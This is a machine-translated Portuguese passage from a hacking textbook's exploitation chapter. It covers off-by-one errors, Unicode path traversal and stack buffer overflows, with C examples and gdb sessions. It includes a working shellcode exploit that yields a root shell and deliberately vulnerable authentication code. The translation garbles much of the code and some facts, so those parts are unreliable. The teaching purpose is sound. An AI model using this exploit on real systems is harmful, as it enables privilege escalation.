3</p><p>[DEBUG] ponteiro do jogo_actual @ 0x0804914c</p><p>******* Encontre o Ás *******</p><p>Neste jogo, você pode apostar até todos os seus créditos.</p><p>Três cartas serão dadas: duas damas e um ás.</p><p>Se você encontrar o ás, você ganhará sua aposta.</p><p>Depois de escolher uma carta, uma das rainhas será revelada.</p><p>Neste momento, você pode selecionar uma carta diferente ou</p><p>aumentar sua aposta.</p><p>Quantos de seus 120 créditos você gostaria de apostar? 50</p><p>*** Cartões de visita ***</p><p>._. ._. ._.</p><p>Cartões: |X| |X| |X|</p><p>1 2 3</p><p>Selecione um cartão: 1, 2, ou 3: 2</p><p>*** Revelando uma rainha ***</p><p>._. ._. ._.</p><p>Cartões: |X| |X| |Q|</p><p>^... sua escolha</p><p>Você gostaria de</p><p>[c]pendurar sua palheta ou [aumentar a sua</p><p>aposta? Selecione c ou i: c</p><p>Sua escolha de cartão foi alterada para cartão 1.</p><p>*** Resultado final ***</p><p>._. ._. ._.</p><p>Cartões: |A| |Q| |Q|</p><p>^... sua escolha</p><p>Você ganhou 50 créditos a partir de sua primeira aposta.</p><p>Agora você tem 170 créditos.</p><p>Você gostaria de jogar novamente? (y/n) n</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>Programação 123</p><p>[Nome: Jon Erickson]</p><p>[Você tem 170 créditos] - > 4</p><p>====================| HIGH SCORE</p>
<p>|====================</p><p>Você tem atualmente a alta pontuação de 170 créditos!</p><p>======================================================</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 170 créditos] - > 7</p><p>Obrigado por jogar! Adeus.</p><p>reader@hacking:~/booksrc $ sudo su jose</p><p>jose@hacking:/home/reader/booksrc $ ./game_of_chance</p><p>-=-={ Registro de Novo Jogador } = - = -</p><p>Digite seu nome: Jose Ronnick</p><p>Bem-vindo ao Game of Chance Jose Ronnick. Você</p><p>recebeu 100 créditos.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual 5 - Altere seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jose Ronnick]</p><p>[Você tem 100 créditos] - > 4</p><p>====================| HIGH SCORE |====================</p><p>Jon Erickson tem a alta pontuação de 170.</p><p>======================================================</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jose Ronnick]</p><p>[Você tem 100 créditos] - > 7</p><p>Obrigado por jogar! Tchau.</p><p>jose@hacking:~/bookrc saída $</p><p>reader@hacking:~/booksrc $</p><p>124 0x</p><p>2 0 0</p><p>Brinque um pouco com este programa. O jogo Find the Ace é uma</p><p>demonstração de um princípio de probabilidade condicional; embora seja</p><p>contra intuitivo, mudar sua escolha aumentará suas chances de encontrar o</p><p>ás de 33% para 50%. Muitas pessoas têm dificuldade de entender esta</p><p>verdade - é por isso que é contra-intuitivo. O segredo da pirataria</p><p>informática é a existência de verdades pouco conhecidas como esta e a sua</p><p>utilização para produzir resultados aparentemente mágicos.</p><p>0x300</p><p>EX P L O I T A Ç Ã O</p><p>A exploração de programas é um dos principais pontos</p><p>de hacking. Como foi dito no capítulo anterior, um</p><p>programa é composto de um complexo conjunto de</p><p>regras seguindo um certo fluxo de execução que, em</p><p>última instância, diz ao computador o que fazer.</p><p>Explorar um programa é simplesmente uma maneira</p><p>inteligente de fazer o computador fazer o que você</p><p>quer que ele faça, mesmo que o</p><p>programa atualmente em execução foi projetado para evitar essa ação.</p><p>Como um programa realmente só pode fazer o que foi projetado para fazer,</p><p>as falhas de segurança são na verdade falhas ou excessos no projeto do</p><p>programa ou no ambiente em que o programa está sendo executado. É</p><p>preciso uma mente criativa para encontrar essas falhas e escrever programas</p><p>que as compensem. Algumas vezes estes buracos são produtos de erros</p><p>relativamente óbvios do programador, mas existem alguns erros menos</p><p>óbvios que deram origem a técnicas de exploração mais complexas que</p><p>podem ser aplicadas em muitos lugares diferentes.</p><p>116 0x</p><p>3 0 0</p><p>Um programa só pode fazer o que está programado para fazer, à letra da</p><p>lei. Infelizmente, o que está escrito nem sempre coincide com o que o</p><p>programa- mer pretendia que o programa fizesse. Este princípio pode ser</p><p>explicado com uma piada:</p><p>Um homem caminha pela floresta, e encontra uma lâmpada mágica</p><p>no chão. Instintivamente, ele pega a lâmpada, esfrega o lado dela</p><p>com sua manga, e sai um gênio. O gênio agradece ao homem por</p><p>libertá-lo, e se oferece para lhe conceder três desejos. O homem</p><p>está extasiado e sabe exatamente o que quer.</p><p>"Primeiro", diz o homem, "Eu quero um bilhão de dólares".</p><p>O gênio estala seus dedos e uma pasta cheia de dinheiro se</p><p>materializa do nada.</p><p>O homem está de olhos arregalados e continua: "A seguir, eu</p><p>quero uma Ferrari".</p><p>O gênio estala seus dedos e uma Ferrari aparece de um</p><p>sopro de fumaça.</p><p>O homem continua: "Finalmente, quero ser irresistível para as mulheres".</p><p>O gênio estala seus dedos e o homem se transforma em uma</p><p>caixa de chocolates.</p><p>Assim como o desejo final do homem foi concedido com base no que ele</p><p>disse, em vez do que ele estava pensando, um programa seguirá exatamente</p><p>suas instruções, e os resultados nem sempre são o que o programador</p><p>pretendia. Às vezes, as repercussões podem ser catastróficas.</p><p>Os programadores são humanos, e às vezes o que eles escrevem não é</p><p>exatamente o que eles querem dizer. Por exemplo, um erro comum de</p><p>programação é chamado de erro de programação. Como o nome indica, é um</p><p>erro em que o programador contou erroneamente por um. Isto acontece com</p><p>mais freqüência do que você imagina, e é melhor ilustrado com uma pergunta: Se</p><p>você estiver construindo uma cerca de 100 pés, com postes de cerca espaçados 3</p><p>metros, de quantos postes de cerca você precisa? A resposta óbvia é 10 estacas</p><p>de cerca, mas isto é incorreto, já que você realmente precisa de 11. Este tipo de</p><p>erro por um é comumente chamado de erro de poste de cerca, e ocorre quando</p><p>um programador conta erroneamente itens em vez de espaços entre itens, ou</p><p>vice versa. Outro exemplo é quando um programador está tentando selecionar</p><p>um intervalo de números ou itens para processamento, tais como itens N até M.</p><p>Se N = 5 e M = 17, quantos itens há para processar? A resposta óbvia é M - N, ou 17</p><p>- 5 = 12 itens. Mas isto é incorreto, já que na verdade há M - N + 1 itens, para um</p><p>total de 13 itens. Isto pode parecer contraintuitivo à primeira vista, porque é, e é</p><p>exatamente por isso que estes erros acontecem.</p><p>Freqüentemente, os erros do "fencepost" passam despercebidos porque</p><p>os programas não são testados para todas as possibilidades, e os efeitos de</p><p>um erro do "fencepost" geralmente não ocorrem durante a execução normal</p><p>do programa. Entretanto, quando o programa é alimentado com a entrada</p><p>Assine o DeepL Pro para traduzir arquivos maiores.</p><p>Mais informações em www.DeepL.com/pro.</p><p>https://www.deepl.com/pro?cta=edit-document&pdf=1</p><p>Exploração 117</p><p>que faz com que os efeitos do erro se manifestem, as conseqüências do erro</p><p>podem ter um efeito de avalanche sobre o resto da lógica do programa.</p><p>Quando devidamente explorado, um erro por defeito pode causar que um</p><p>programa aparentemente seguro se torne uma vulnerabilidade de segurança.</p><p>Um exemplo clássico disso é o OpenSSH, que se destina a ser um conjunto</p><p>de programas de comunicação de terminal seguro, projetado para substituir os</p><p>programas inseguros e</p><p>118 0x</p><p>3 0 0</p><p>serviços não criptografados tais como telnet, rsh e rcp. No entanto, houve um</p><p>erro no código de alocação de canais, que foi muito explorado. Aliado</p><p>específico, o código incluía uma declaração que dizia "se":</p><p>se (id < 0 || id > canais_alloc) {</p><p>Deveria ter sido</p><p>if (id < 0 || id >= canais_alloc) {</p><p>Em inglês simples, o código diz Se o ID for menor que 0 ou o ID for maior que</p><p>os canais alocados, faça o seguinte Se o ID for menor que 0 ou o ID for maior que</p><p>ou igual aos canais alocados, faça o seguinte</p><p>Este simples erro de um por um permitiu uma maior exploração da</p><p>grama a favor, de modo que um usuário normal autenticando-se e entrando</p><p>no sistema poderia ganhar direitos administrativos totais ao sistema. Este</p><p>tipo de funcionalidade certamente não era o que os programadores</p><p>pretendiam para um programa seguro como o OpenSSH, mas um</p><p>computador só pode fazer o que lhe é dito.</p><p>Outra situação que parece gerar erros de programadores exploráveis é</p><p>quando um programa é rapidamente modificado para expandir sua</p><p>funcionalidade. Embora este aumento na funcionalidade torne o programa</p><p>mais comercializável e aumente seu valor, ele também aumenta a</p><p>complexidade do programa, o que aumenta as chances de uma supervisão.</p><p>O programa servidor web IIS da Microsoft é projetado para servir conteúdo</p><p>web estático e interativo para os usuários. Para que isto seja possível, o</p><p>programa deve permitir aos usuários ler, escrever e executar programas e</p><p>arquivos dentro de determinados diretórios; no entanto, esta funcionalidade</p><p>deve ser limitada</p>
<p>a esses diretórios específicos. Sem esta limitação, os</p><p>usuários teriam controle total do sistema, o que é obviamente indesejável</p><p>do ponto de vista da segurança. Para evitar esta situação, o programa tem</p><p>um código de verificação de caminho projetado para evitar que os usuários</p><p>usem o caractere de contrabarra para atravessar para trás através da árvore</p><p>de diretórios e entrar em outros diretórios.</p><p>Com a adição do suporte para o conjunto de caracteres Unicode, no</p><p>entanto, a complexidade do programa continuou a aumentar. Unicode é um</p><p>conjunto de caracteres de byte duplo projetado para fornecer caracteres para</p><p>cada idioma, incluindo o chinês e o árabe. Ao utilizar dois bytes para cada</p><p>caractere em vez de apenas um, Unicode permite dezenas de milhares de</p><p>caracteres possíveis, ao contrário das poucas centenas permitidas pelos</p><p>caracteres de byte único. Esta complexidade adicional significa que agora</p><p>existem múltiplas representações da barra invertida charac- ter. Por exemplo,</p><p>%5c em Unicode traduz para o caractere da contrabarra, mas esta tradução</p><p>foi feita após a execução do código de verificação do caminho. Assim, usando</p><p>%5c em vez de \, foi de fato possível atravessar diretórios, permitindo os</p><p>perigos de segurança acima mencionados. Tanto o verme Sadmind quanto o</p><p>verme CodeRed usaram este tipo de supervisão de conversão Unicode para</p><p>desfigurar páginas da web.</p><p>Um exemplo relacionado deste princípio da letra da lei utilizado fora do</p><p>Exploração 119</p><p>domínio da programação de computadores é a Loofóbica LaMacchia. Assim</p><p>como as regras de um programa de computador, o sistema jurídico norte-</p><p>americano às vezes tem regras que</p><p>120 0x</p><p>3 0 0</p><p>não dizem exatamente o que seus criadores pretendiam, e como uma</p><p>exploração de um programa de computador, estas brechas legais podem ser</p><p>usadas para contornar a intenção da lei. Perto do final de 1993, um hacker de</p><p>computador de 21 anos e estudante do MIT chamado David LaMacchia</p><p>montou um sistema de quadro de avisos chamado Cynosure para fins de</p><p>pirataria de software. Aqueles que tinham software para dar carregá-lo, e</p><p>aqueles que queriam software o baixariam. O serviço só esteve online por</p><p>cerca de seis semanas, mas gerou um tráfego pesado de rede em todo o</p><p>mundo, o que acabou atraindo a atenção das autoridades universitárias e</p><p>federais. As empresas de software alegaram que perderam um milhão de</p><p>dólares como resultado da Cynosure, e um grande júri federal acusou</p><p>LaMacchia de conspirar com pessoas desconhecidas para violar a estátua da</p><p>fraude bancária. Entretanto, a acusação foi descartada porque o que</p><p>LaMacchia supostamente fez não foi uma conduta criminosa sob a Lei de</p><p>Direitos Autorais, uma vez que a infração não foi com o propósito de</p><p>vantagem comercial ou ganho financeiro privado. Aparentemente, os</p><p>legisladores nunca tinham previsto que alguém pudesse se envolver neste</p><p>tipo de atividades com um motivo que não fosse o ganho financeiro pessoal.</p><p>(O Congresso fechou esta lacuna em 1997 com a Lei de Roubo Eletrônico).</p><p>Mesmo que este exemplo não envolva a exploração de um programa de</p><p>computador, os juízes e os tribunais podem ser considerados como</p><p>computadores executando o programa do sistema jurídico como foi escrito.</p><p>Os conceitos abstratos de</p><p>hacking transcende a computação e pode ser aplicado a muitos outros</p><p>aspectos da vida que envolvem sistemas complexos.</p><p>0x310 Técnicas de Exploração Generalizada</p><p>Erros fora de um e expansão inadequada do Unicode são todos erros que</p><p>podem ser difíceis de ver no momento, mas que são óbvios para qualquer</p><p>programador em retrospectiva. Entretanto, existem alguns erros comuns que</p><p>podem ser explorados de maneiras não tão óbvias. O impacto destes erros na</p><p>segurança nem sempre é aparente, e estes problemas de segurança são</p><p>encontrados em código em todos os lugares. Como o mesmo tipo de erro é</p><p>cometido em muitos lugares diferentes, técnicas de exploração generalizada</p><p>evoluíram para tirar proveito destes erros, e eles podem ser usados em uma</p><p>variedade de situações.</p><p>A maioria das explorações do programa tem a ver com corrupção da</p><p>memória. Estas incluem técnicas de exploração comuns como estouros de</p><p>buffer, bem como métodos menos comuns como as explorações de formato</p><p>de string. Com estas técnicas, o objetivo final é assumir o controle do fluxo de</p><p>execução do programa alvo, enganando-o na execução de um pedaço de</p><p>código malicioso que tenha sido contrabandeado para a memória. Este tipo</p><p>de sequestro de processo é conhecido como execução de código arbitrário,</p><p>uma vez que o hacker pode fazer com que um programa faça praticamente</p><p>tudo o que ele ou ela quiser. Como o LaMacchia Loophole, estes tipos de</p><p>vulnerabilidades existem porque existem casos específicos inesperados que o</p><p>programa não consegue lidar. Em condições normais, estes casos inesperados</p><p>Exploração 121</p><p>fazem com que o programa trave - metaforicamente impulsionando o fluxo</p><p>de execução para fora de um penhasco. Mas se o ambiente for</p><p>cuidadosamente controlado, o fluxo de execução pode ser controlado -</p><p>prevenindo o travamento e reprogramando o processo.</p><p>122 0x</p><p>3 0 0</p><p>0x320 Estouros de tampão</p><p>As vulnerabilidades de transbordamento de amortecedores existem desde os</p><p>primeiros tempos dos com- puters e ainda existem hoje. A maioria dos</p><p>vermes da Internet usa habilidades de vulnerabilidades de estouro de buffer</p><p>para se propagar, e mesmo a mais recente vulnerabilidade de VML de dia</p><p>zero no Internet Explorer é devida a um estouro de buffer.</p><p>C é uma linguagem de programação de alto nível, mas assume que o</p><p>programador é responsável pela integridade dos dados. Se esta</p><p>responsabilidade fosse transferida para o compilador, os binários</p><p>resultantes seriam significativamente mais lentos, devido às verificações de</p><p>integridade em cada variável. Além disso, isto removeria um nível</p><p>significativo de controle do programador e complicaria a linguagem.</p><p>Embora a simplicidade do C aumente o controle do programador e a</p><p>eficiência dos programas resultantes, também pode resultar em programas</p><p>que são vulneráveis a estouros de buffer e vazamentos de memória se o</p><p>programador não for cuidadoso. Isto significa que uma vez que uma variável</p><p>é alocada memória, não há proteções de segurança embutidas para garantir</p><p>que o conteúdo de uma variável caiba no espaço de memória alocado. Se um</p><p>programador quiser colocar dez bytes de dados em um buffer que só tinha</p><p>sido alocado a oito bytes de espaço, esse tipo de ação é permitido, mesmo</p><p>que muito provavelmente cause o travamento do programa. Isto é conhecido</p><p>como buffer overrun ou buffer overflow, uma vez que os dois bytes extras de dados</p><p>irão transbordar e derramar da memória alocada, sobrescrevendo o que quer</p><p>que aconteça a seguir. Se um dado crítico for sobregravado, o programa</p><p>travará. O código overflow_example.c oferece um exemplo.</p><p>overflow_example.c</p><p>#include <stdio.h></p><p>#include <string.h></p><p>int main(int argc, char *argv[])</p><p>{valor int = 5;</p><p>tampão_um[8], tampão_dois[8];</p><p>strcpy(buffer_one, "one"); /* Coloque "one" no buffer_one. */</p><p>strcpy(buffer_two, "two"); /* Colocar "two" no buffer_two. */</p><p>printf("[BEFORE] buffer_two está em %p e contém</p><p>{\i1}ponte_do_ponte_do_ponte_do_ponte); printf("[BEFORE] buffer_um está em %p</p><p>e contém {\i}ponte_do_ponte_do_ponte_do_ponte_do_ponte); printf("[BEFORE] valor está em</p><p>%p e é %d (0x%08x)\n", & valor, valor, valor, valor);</p><p>printf("\n[STRCPY] copiando %d bytes em buffer_two\n", strlen(argv[1]));</p><p>strcpy(buffer_two, argv[1]); /* Copiar o primeiro argumento em buffer_two. */</p><p>printf("[DEPOIS] buffer_two está em %p e contém {\i1}ponto 2, buffer_two,</p><p>buffer_two); printf("[DEPOIS] buffer_one está em %p e contém {\i}ponto 2,</p><p>buffer_one, buffer_one); printf("[DEPOIS] valor está em %p e é %d (0x%08x)\i",</p><p>&value, value, value, value);</p><p>}</p><p>Exploração 123</p><p>A esta altura, você já deve ser capaz de ler o código fonte acima e</p><p>descobrir o que o programa faz. Após a compilação na saída de amostra</p><p>abaixo, tentamos copiar dez bytes do primeiro argumento</p>
<p>de linha de</p><p>comando em buffer_two, que tem apenas oito bytes alocados para ele.</p><p>reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c</p><p>reader@hacking:~/booksrc $ ./overflow_example 1234567890</p><p>[buffer_two está em 0xbffff7f0 e contém 'dois' [ANTES]</p><p>buffer_one está em 0xbffff7f8 e contém 'um' [ANTES]</p><p>valor está em 0xbffff804 e é 5 (0x00000005)</p><p>[STRCPY] copiando 10 bytes em buffer_two</p><p>[DEPOIS] buffer_two está em 0xbffff7f0 e contém '1234567890'</p><p>[DEPOIS] buffer_one está em 0xbffff7f8 e contém '90'</p><p>[DEPOIS] valor está em 0xbffff804 e contém 5 (0x00000005)</p><p>reader@hacking:~/booksrc $</p><p>Observe que buffer_one está localizado diretamente após buffer_two na</p><p>memória, portanto, quando dez bytes são copiados em buffer_two, os dois</p><p>últimos bytes de 90 transbordam em buffer_one e sobrescrevem o que estava</p><p>lá.</p><p>Um buffer maior irá naturalmente transbordar para as outras variáveis,</p><p>mas se um buffer grande o suficiente for usado, o programa irá cair e morrer.</p><p>reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAA [ANTES]</p><p>buffer_two está em 0xbffff7e0 e contém 'dois'.</p><p>[ANTES] buffer_one está em 0xbffff7e8 e contém 'um' [ANTES]</p><p>valor está em 0xbff7f4 e é 5 (0x00000005)</p><p>[STRCPY] copiando 29 bytes em buffer_two</p><p>[DEPOIS] buffer_two está em 0xbffff7e0 e contém</p><p>'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>[DEPOIS] buffer_one está em 0xbffff7e8 e contém 'AAAAAAAAAAAAAAAAAAAAA'</p><p>[DEPOIS] buffer_one está em 0xbffff7f4 e está em 1094795585 (0x41414141)</p><p>Segmentation fault (core dumped)</p><p>reader@hacking:~/booksrc $</p><p>Estes tipos de falhas de programa são bastante comuns - pense em todas</p><p>as vezes em que um programa caiu ou foi submetido a uma tela azul. O erro</p><p>do programador é um erro de omissão - deve haver uma verificação de</p><p>comprimento ou restrição na entrada fornecida pelo usuário. Estes tipos de</p><p>erros são fáceis de fazer e podem ser difíceis de detectar. Na verdade, o</p><p>programa noteearch.c da página 93 contém um bug de buffer overflow. Você</p><p>pode não ter notado isto até agora, mesmo que já estivesse familiarizado</p><p>com o C.</p><p>reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>-------[ dados finais da nota ]------- Leitor</p><p>de falhas de</p><p>124 0x</p><p>3 0 0</p><p>segmentação@hacking:~/booksrc $</p><p>Exploração 125</p><p>As falhas de programa são irritantes, mas nas mãos de um hacker podem</p><p>se tornar totalmente perigosas. Um hacker experiente pode assumir o controle</p><p>de um programa à medida que ele trava, com alguns resultados</p><p>surpreendentes. O código exploit_notesearch.c demonstra o perigo.</p><p>exploit_notesearch.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>char shellcode[]=</p><p>"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"</p><p>"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"</p><p>"\xe1\xcd\x80";</p><p>int main(int argc, char *argv[]) { não</p><p>assinado int i, *ptr, ret, offset=270;</p><p>char *command, *buffer;</p><p>comando = (char *) malloc(200);</p><p>bzero(comando, 200); // Zerar a nova memória.</p><p>strcpy(comando, "./notesearch \ '"); // Iniciar comando de buffer.</p><p>buffer = comando + strlen(comando); // Definir buffer no final.</p><p>if(argc > 1) // Set offset. offset.</p><p>offset = atoi(argv[1]);</p><p>ret = (int não assinado) &i - offset; // Definir endereço de</p><p>retorno. for(i=0; i < 160; i+=4) // Preencher buffer com</p><p>endereço de retorno.</p><p>*((unsigned int *)(buffer+i)) = ret;</p><p>memset(buffer, 0x90, 60); // Construir trenó NOP.</p><p>memcpy(buffer+60, shellcode, sizeof(shellcode)-1);</p><p>strcat(comando, "\'");</p><p>system(command); // Run exploit.</p><p>free(command);</p><p>}</p><p>O código fonte desta exploração será explicado em profundidade mais</p><p>tarde, mas, em geral, está apenas gerando uma seqüência de comandos que</p><p>executará as notas de pesquisa pro-grama com um argumento de linha de</p><p>comando entre aspas simples. Ele usa funções de string para fazer isso:</p><p>strlen() para obter o comprimento atual da string (para posicionar o ponteiro</p><p>de buffer) e strcat() para concatenar a citação única de fechamento ao final.</p><p>Finalmente, a função de sistema é usada para executar a string de</p><p>comando. O buffer que é gerado entre as aspas simples é a verdadeira carne</p><p>da exploração. O resto é apenas um método de entrega para este</p><p>comprimido de dados envenenado. Veja o que um travamento controlado</p><p>126 0x</p><p>3 0 0</p><p>pode fazer.</p><p>Exploração 127</p><p>reader@hacking:~/booksrc $ gcc exploit_notesearch.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[DEBUG] encontrou uma nota de 34 bytes para o id</p><p>de usuário 999 [DEBUG] encontrou uma nota de 41</p><p>bytes para o id de usuário 999</p><p>-------[ dados do final da nota ]-----</p><p>-- sh-3.2#</p><p>A exploração é capaz de usar o transbordamento para servir a uma casca</p><p>de raiz - proporcionando controle total sobre o computador. Este é um</p><p>exemplo de um exploit de estouro de buffer baseado em pilha.</p><p>0x321 Vulnerabilidades de transbordo de amortecedores baseados em</p><p>pilha</p><p>A pesquisa de anotações explora trabalhos corrompendo a memória para</p><p>controlar o fluxo de execução. O programa auth_overflow.c demonstra este</p><p>conceito.</p><p>auth_overflow.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>int check_authentication(char *password) {</p><p>int auth_flag = 0;</p><p>char password_buffer[16];</p><p>strcpy(password_buffer, senha);</p><p>if(strcmp(password_buffer, "brillig") == 0)</p><p>auth_flag = 1;</p><p>if(strcmp(password_buffer, "outgrabe") == 0)</p><p>auth_flag = 1;</p><p>retornar auth_flag;</p><p>}</p><p>int main(int argc, char *argv[]) {</p><p>if(argc < 2) {</p><p>printf("Usage: %s <password>\n", argv[0]);</p><p>exit(0);</p><p>}</p><p>if(check_authentication(argv[1])) {</p><p>printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");</p><p>printf(" Access Granted.\n");</p><p>printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");</p><p>{} else {</p><p>printf("\nAccess Denied.\n");</p><p>}</p><p>}</p><p>128 0x</p><p>3 0 0</p><p>Este programa de exemplo aceita uma senha como seu único argumento</p><p>de linha de comando e então chama uma função check_authentication(). Esta</p><p>função permite duas senhas, destinadas a ser representativas de</p><p>autenticação múltipla</p><p>Exploração 129</p><p>métodos. Se uma dessas senhas for usada, a função retorna 1, o que garante</p><p>o acesso. Você deve ser capaz de descobrir a maior parte disso apenas</p><p>olhando para o código fonte antes de compilá-lo. Use a opção -g ao compilá-</p><p>lo, porém, já que estaremos depurando isso mais tarde.</p><p>reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c</p><p>reader@hacking:~/booksrc $ ./auth_overflow</p><p>Utilização: ./auth_overflow <password></p><p>reader@hacking:~/booksrc $ ./auth_overflow test</p><p>Acesso negado.</p><p>reader@hacking:~/booksrc $ ./auth_overflow brillig</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Acesso Concedido.</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>reader@hacking:~/booksrc $ ./auth_overflow outgrabe</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Acesso Concedido.</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>reader@hacking:~/booksrc $</p><p>Até agora, tudo funciona como o código fonte diz que deve funcionar.</p><p>Isto é de se esperar de algo tão determinístico quanto um programa de</p><p>computador. Mas um transbordo pode levar a comportamentos inesperados</p><p>e até mesmo contraditórios, permitindo o acesso sem uma senha adequada.</p><p>reader@hacking:~/bookrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Acesso Concedido.</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>reader@hacking:~/booksrc $</p><p>Você pode já ter descoberto o que aconteceu, mas vamos olhar para isto</p><p>com um depurador para ver as suas especificidades.</p><p>reader@hacking:~/booksrc $ gdb -q ./auth_overflow</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>lista 1</p><p>1 #include <stdio.h></p><p>2 #incluir <stdlib.h></p><p>3 #incluir <string.h></p><p>4</p><p>5 int check_authentication(char *password) {</p><p>6 int auth_flag = 0;</p><p>7 char password_buffer[16];</p><p>8</p><p>9 strcpy(password_buffer, senha);</p><p>10</p><p>(gdb)</p><p>130 0x</p><p>3 0 0</p><p>11 if(strcmp(password_buffer, "brillig") == 0)</p><p>12 auth_flag = 1;</p><p>13 if(strcmp(password_buffer, "outgrabe") == 0)</p><p>14 auth_flag = 1;</p><p>15</p><p>16 retornar auth_flag;</p><p>17 }</p><p>18</p><p>19 int main(int argc, char *argv[]) {</p><p>20 if(argc < 2) {</p><p>(gdb) quebra</p>
<p>9</p><p>Ponto de parada 1 em 0x8048421: arquivo auth_overflow.c,</p><p>linha 9. (gdb) break 16</p><p>Ponto de parada 2 em 0x804846f: arquivo auth_overflow.c,</p><p>linha 16. (gdb)</p><p>O depurador GDB é iniciado com a opção -q para suprimir a faixa de boas-</p><p>vindas, e os pontos de interrupção são definidos nas linhas 9 e 16. Quando o</p><p>programa é executado, a execução fará uma pausa nestes pontos de</p><p>interrupção e nos dará a chance de examinar a memória.</p><p>(gdb) executar AAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Programa inicial: /home/reader/bookrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Ponto de parada 1, check_authentication (password=0xbffff9af 'A' <repeats 30 vezes>)</p><p>em auth_overflow.c:9</p><p>9 strcpy(password_buffer, senha);</p><p>(gdb) x/s password_buffer</p><p>0xbffff7a0: ")????o??????)\205\004\b?o??p???????"</p><p>(gdb) x/x &auth_flag</p><p>0xbffff7bc: 0x00000000</p><p>(gdb) impressão 0xbffff7bc - 0xbffff7a0</p><p>$1 = 28</p><p>(gdb) x/16xw tampão_de_senha</p><p>0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529</p><p>0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000</p><p>0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb</p><p>0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc</p><p>(gdb)</p><p>O primeiro ponto de parada é antes que o strcpy() aconteça. Examinando</p><p>o ponteiro do depurador de senha, o depurador mostra que ele está cheio de</p><p>dados aleatórios não inicializados e está localizado a 0xbffff7a0 na memória.</p><p>Examinando o endereço da variável auth_flag, podemos ver tanto sua</p><p>localização em 0xbffff7bc</p><p>e seu valor 0. O comando de impressão pode ser usado para fazer aritmética e</p><p>mostra que a auth_flag é de 28 bytes depois do início do password_buffer. Esta</p><p>relação também pode ser vista em um bloco de memória que começa no</p><p>password_buffer. O loca- tion do auth_flag é mostrado em negrito.</p><p>Exploração 131</p><p>(gdb) continuar</p><p>Continuando.</p><p>Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 30 vezes>) em</p><p>auth_overflow.c:16</p><p>16 return auth_flag;</p><p>(gdb) x/s password_buffer</p><p>0xbffff7a0: A' <repeats 30 vezes></p><p>(gdb) x/x &auth_flag</p><p>0xbffff7bc: 0x00004141</p><p>(gdb) x/16xw</p><p>tampão_de_senha</p><p>0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141</p><p>0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141</p><p>0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb</p><p>0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc</p><p>(gdb) x/4cb &auth_flag</p><p>0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0'</p><p>(gdb) x/dw &auth_flag</p><p>0xbffff7bc: 16705</p><p>(gdb)</p><p>Continuando até o próximo ponto de parada encontrado após o strcpy(),</p><p>estes locais de memória são examinados novamente. O tampão_de_senha</p><p>transbordou para o auth_flag, mudando seus dois primeiros bytes para 0x41. 